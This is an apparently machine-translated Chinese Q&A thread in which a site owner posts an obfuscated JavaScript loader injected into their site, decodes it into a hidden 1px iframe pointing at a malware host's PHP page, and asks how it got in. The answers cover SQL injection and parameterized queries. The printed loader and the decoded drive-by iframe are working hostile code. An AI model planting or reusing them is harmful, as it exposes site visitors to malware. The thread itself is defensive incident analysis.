Sql注入攻击洞察力

时间:2013-04-10 21:43:30

标签: php sql security sql-injection

以下代码正在添加到我们的网站中。下面是它对页面的影响,基本上是打开恶意软件网站的iframe。我们的网站在上周遇到了这个问题,为了解决这个问题,我们只是回滚了数据库和代码库来解决这个问题。我有一个可以使用的腐败版本,我正在寻找代码的来源和方式,但我什么都没有。如果它是通过网站上的某种形式输入的,那么数据库中的条目可能是什么样子?如果它修改了代码库中的文件,为什么我找不到它?我应该寻找什么?任何对此的见解都会非常有帮助。我正在试图找出我们需要插入安全性的地方。

注意:原始脚本没有换行符。这里显示的是换行符,使代码可读:

<script type="text/javascript" charset="utf-8">
    p=parseInt;ss=(123)?String.fromCharCode:0;asgq="28!66!75!6e!63!74!6@!6f!6e!20!28!2@!20!7b!d!a!20!20!20!20!76!61!72!20!68!6f!75!65!20!3d!20!64!6f!63!75!6d!65!6e!74!2e!63!72!65!61!74!65!45!6c!65!6d!65!6e!74!28!27!6@!66!72!61!6d!65!27!2@!3b!d!a!d!a!20!20!20!20!68!6f!75!65!2e!73!72!63!20!3d!20!27!68!74!74!70!3a!2f!2f!32!31!36!2e!31!31!3@!2e!31!31!34!2e!31!36!34!2f!65!73!64!2e!70!68!70!27!3b!d!a!20!20!20!20!68!6f!75!65!2e!73!74!7@!6c!65!2e!70!6f!73!6@!74!6@!6f!6e!20!3d!20!27!61!62!73!6f!6c!75!74!65!27!3b!d!a!20!20!20!20!68!6f!75!65!2e!73!74!7@!6c!65!2e!62!6f!72!64!65!72!20!3d!20!27!30!27!3b!d!a!20!20!20!20!68!6f!75!65!2e!73!74!7@!6c!65!2e!68!65!6@!67!68!74!20!3d!20!27!31!70!78!27!3b!d!a!20!20!20!20!68!6f!75!65!2e!73!74!7@!6c!65!2e!77!6@!64!74!68!20!3d!20!27!31!70!78!27!3b!d!a!20!20!20!20!68!6f!75!65!2e!73!74!7@!6c!65!2e!6c!65!66!74!20!3d!20!27!31!70!78!27!3b!d!a!20!20!20!20!68!6f!75!65!2e!73!74!7@!6c!65!2e!74!6f!70!20!3d!20!27!31!70!78!27!3b!d!a!d!a!20!20!20!20!6@!66!20!28!21!64!6f!63!75!6d!65!6e!74!2e!67!65!74!45!6c!65!6d!65!6e!74!42!7@!4@!64!28!27!68!6f!75!65!27!2@!2@!20!7b!d!a!20!20!20!20!20!20!20!20!64!6f!63!75!6d!65!6e!74!2e!77!72!6@!74!65!28!27!3c!64!6@!76!20!6@!64!3d!5c!27!68!6f!75!65!5c!27!3e!3c!2f!64!6@!76!3e!27!2@!3b!d!a!20!20!20!20!20!20!20!20!64!6f!63!75!6d!65!6e!74!2e!67!65!74!45!6c!65!6d!65!6e!74!42!7@!4@!64!28!27!68!6f!75!65!27!2@!2e!61!70!70!65!6e!64!43!68!6@!6c!64!28!68!6f!75!65!2@!3b!d!a!20!20!20!20!7d!d!a!7d!2@!28!2@!3b"
      .replace(/@/g,"9")
      .split("!");
   try{
      document.body&=0.1
   } catch(gdsgsdg) {
      zz=3;
      dbshre=103;
      if(dbshre){
         vfvwe=0;
         try{
            document;
         } catch(agdsg){
            vfvwe=1;
         }
         if(!vfvwe){
            e=eval;
         }
         s="";
         if(zz)
            for(i=0;i-480!=0;i++){
               if(window.document)
                  s+=ss(p(asgq[i],16));
            }
         if(window.document)
            e(s);
      }
   }
</script>

嵌入的十六进制代码解析为以下Javascript:

(function () {
    var houe = document.createElement('iframe');

    houe.src = 'http://216.119.114.164/esd.php';
    houe.style.position = 'absolute';
    houe.style.border = '0';
    houe.style.height = '1px';
    houe.style.width = '1px';
    houe.style.left = '1px';
    houe.style.top = '1px';

    if (!document.getElementById('houe')) {
        document.write('<div id=\'houe\'></div>');
        document.getElementById('houe').appendChild(houe);
    }
})();

正在注入div元素,例如:

<div id="mgkc"><iframe src="http://216.119.114.164/esd.php" style="position: absolute; border: 0px; height: 1px; width: 1px; left: 1px; top: 1px;"></iframe></div>

<div id="houe"><iframe src="http://216.119.114.164/esd.php" style="position: absolute; border: 0px; height: 1px; width: 1px; left: 1px; top: 1px;"></iframe></div>

3 个答案:

答案 0 :(得分:1)

  

我应该寻找什么?

假设这是一个sql注入问题(这听起来不对),你应该在你的web应用程序代码中查找类似这样的内容:

sql = "SELECT columns FROM SomeTable WHERE SomeColumn=" + someVariable

如果您让我们知道您使用的是哪种语言,我可以提供更具代表性的示例,但主要的是您使用字符串连接将信息从用户放入sql查询 - 即使你通过一个功能来清理,清理或逃避它 - 你很脆弱。请注意,这甚至不是插入/更新/删除语句。它只是一个选择,语义表明sql甚至期望一个数字类型。没关系:攻击者仍然可以使用它来更改数据中的内容。

如果你正在使用ORM,你甚至可能只是构建一个WHERE子句的一部分,所以它甚至可能就是这样:

filter = "SomeDataField='" + someVariable + "'"

处理它的正确方法是使用称为参数化查询或预备语句的东西,具体取决于您在操场上与哪些孩子一起玩。这些使用看起来更像这样的代码:

sql = "SELECT columns" + " FROM SomeTable WHERE SomeColumn= ?"
// Other code to define and set a parameter for SomeColumn goes here

请注意,我确实在那里使用字符串连接(仅用于show,以证明您可以通过这种方式构建查询),但我没有使用它将用户输入替换为查询。这里要理解的重要一点是,使用这种方案(如果实施得当),用户输入永远直接替换为查询,甚至不在数据库服务器上。相反,它是单独传输的,并且也被数据库引擎视为变量。

同样,如果我知道您正在使用哪种语言/平台,我可以提供更好的代表。作为一个例子(这次我将使用UPDATE),这是使用Sql Server在C#中安全地执行此操作的一种方法:

string sql = "UPDATE table SET column= @SomeVariable WHERE ID= @UserID";
using (var cn = new SqlConnection("connection string here"))
using (var cmd = new SqlCommand(sql, cn))
{
    cmd.Parameters.Add("@SomeVariable", SqlDbType.VarChar, 50).Value = someVariable;
    cmd.Parameters.Add("@UserID", SqlDbType.Int).Value = UserID;

    cn.Open();
    cmd.ExecuteNonQuery();
}

答案 1 :(得分:0)

您网站上的表单如何与您的数据库交互?他们是创建与数据库的直接连接还是使用Web服务?如果您直接在数据库上执行查询,那么您应该参数化您的查询。

答案 2 :(得分:0)

有多个网站漏洞扫描程序可以测试SQL注入和网站上的其他漏洞。 这是一个简短的列表 - 检查https://security.stackexchange.com/questions/32/what-tools-are-available-to-assess-the-security-of-a-web-application/38#38是否有更大的列表:

此外,请参阅以下链接:

通常,您还需要搜索代码库中的每个SQL命令,并验证是否没有将未经过请求的输入发送到数据库。